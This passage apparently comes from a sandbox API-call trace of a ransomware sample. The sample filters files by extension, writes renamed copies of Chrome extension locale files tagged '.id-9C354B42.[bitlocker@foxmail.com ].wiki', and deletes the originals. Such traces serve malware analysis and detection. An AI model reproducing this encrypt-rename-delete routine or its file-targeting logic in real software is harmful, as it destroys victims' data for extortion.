returned 4 [0176.710] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".docx") returned 5 [0176.710] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.710] lstrlenW (lpString=".pdf") returned 4 [0176.710] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".xls") returned 4 [0176.710] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.710] lstrlenW (lpString=".xlsx") returned 5 [0176.710] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.710] lstrlenW (lpString=".ppt") returned 4 [0176.711] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.711] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.711] lstrlenW (lpString=".zip") returned 4 [0176.711] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.711] lstrlenW (lpString=".rar") returned 4 [0176.711] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.711] lstrlenW (lpString=".bz2") returned 4 [0176.711] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.711] lstrlenW (lpString=".7z") returned 3 [0176.711] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.711] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.711] lstrlenW (lpString=".dbf") returned 4 [0176.711] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.711] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.711] lstrlenW (lpString=".1cd") returned 4 [0176.711] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.711] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 151 [0176.711] lstrlenW (lpString=".jpg") returned 4 [0176.711] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.711] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.711] lstrlenW (lpString="messages.json") returned 13 [0176.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.712] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=318) returned 1 [0176.712] CloseHandle (hObject=0x19c) returned 1 [0176.712] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json")) returned 0x2020 [0176.712] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.712] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.712] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.713] GetLastError () returned 0x0 [0176.713] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x13e, lpOverlapped=0x0) returned 1 [0176.714] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x140, lpOverlapped=0x0) returned 1 [0176.715] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.715] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.715] SetEndOfFile (hFile=0x2dc) returned 1 [0176.715] CloseHandle (hObject=0x2dc) returned 1 [0176.715] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.715] SetEndOfFile (hFile=0x19c) returned 1 [0176.716] CloseHandle (hObject=0x19c) returned 1 [0176.716] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.716] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json")) returned 1 [0176.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.717] lstrlenW (lpString=".doc") returned 4 [0176.717] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".docx") returned 5 [0176.717] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.717] lstrlenW (lpString=".pdf") returned 4 [0176.717] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".xls") returned 4 [0176.717] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".xlsx") returned 5 [0176.717] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.717] lstrlenW (lpString=".ppt") returned 4 [0176.717] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.717] lstrlenW (lpString=".zip") returned 4 [0176.717] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".rar") returned 4 [0176.717] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".bz2") returned 4 [0176.717] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.717] lstrlenW (lpString=".7z") returned 3 [0176.717] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.717] lstrlenW (lpString=".dbf") returned 4 [0176.717] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.717] lstrlenW (lpString=".1cd") returned 4 [0176.717] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.717] lstrlenW (lpString=".jpg") returned 4 [0176.717] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString=".doc") returned 4 [0176.718] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".docx") returned 5 [0176.718] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.718] lstrlenW (lpString=".pdf") returned 4 [0176.718] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".xls") returned 4 [0176.718] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".xlsx") returned 5 [0176.718] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.718] lstrlenW (lpString=".ppt") returned 4 [0176.718] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString=".zip") returned 4 [0176.718] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".rar") returned 4 [0176.718] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".bz2") returned 4 [0176.718] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.718] lstrlenW (lpString=".7z") returned 3 [0176.718] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString=".dbf") returned 4 [0176.718] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString=".1cd") returned 4 [0176.718] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 151 [0176.718] lstrlenW (lpString=".jpg") returned 4 [0176.719] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.719] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.719] lstrlenW (lpString="messages.json") returned 13 [0176.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.719] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=200) returned 1 [0176.719] CloseHandle (hObject=0x19c) returned 1 [0176.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json")) returned 0x2020 [0176.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.720] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.720] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.720] GetLastError () returned 0x0 [0176.720] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc8, lpOverlapped=0x0) returned 1 [0176.721] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0176.722] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.722] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.722] SetEndOfFile (hFile=0x2dc) returned 1 [0176.722] CloseHandle (hObject=0x2dc) returned 1 [0176.722] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.722] SetEndOfFile (hFile=0x19c) returned 1 [0176.723] CloseHandle (hObject=0x19c) returned 1 [0176.723] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.723] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json")) returned 1 [0176.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.724] lstrlenW (lpString=".doc") returned 4 [0176.724] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".docx") returned 5 [0176.724] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.724] lstrlenW (lpString=".pdf") returned 4 [0176.724] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".xls") returned 4 [0176.724] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".xlsx") returned 5 [0176.724] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.724] lstrlenW (lpString=".ppt") returned 4 [0176.724] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.724] lstrlenW (lpString=".zip") returned 4 [0176.724] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".rar") returned 4 [0176.724] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".bz2") returned 4 [0176.724] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.724] lstrlenW (lpString=".7z") returned 3 [0176.724] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.724] lstrlenW (lpString=".dbf") returned 4 [0176.724] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString=".1cd") returned 4 [0176.725] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString=".jpg") returned 4 [0176.725] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString=".doc") returned 4 [0176.725] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".docx") returned 5 [0176.725] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.725] lstrlenW (lpString=".pdf") returned 4 [0176.725] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".xls") returned 4 [0176.725] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".xlsx") returned 5 [0176.725] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.725] lstrlenW (lpString=".ppt") returned 4 [0176.725] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString=".zip") returned 4 [0176.725] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".rar") returned 4 [0176.725] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".bz2") returned 4 [0176.725] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.725] lstrlenW (lpString=".7z") returned 3 [0176.725] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.725] lstrlenW (lpString=".dbf") returned 4 [0176.726] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.726] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.726] lstrlenW (lpString=".1cd") returned 4 [0176.726] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.726] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 151 [0176.726] lstrlenW (lpString=".jpg") returned 4 [0176.726] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.726] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.726] lstrlenW (lpString="messages.json") returned 13 [0176.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.726] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=198) returned 1 [0176.726] CloseHandle (hObject=0x19c) returned 1 [0176.727] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 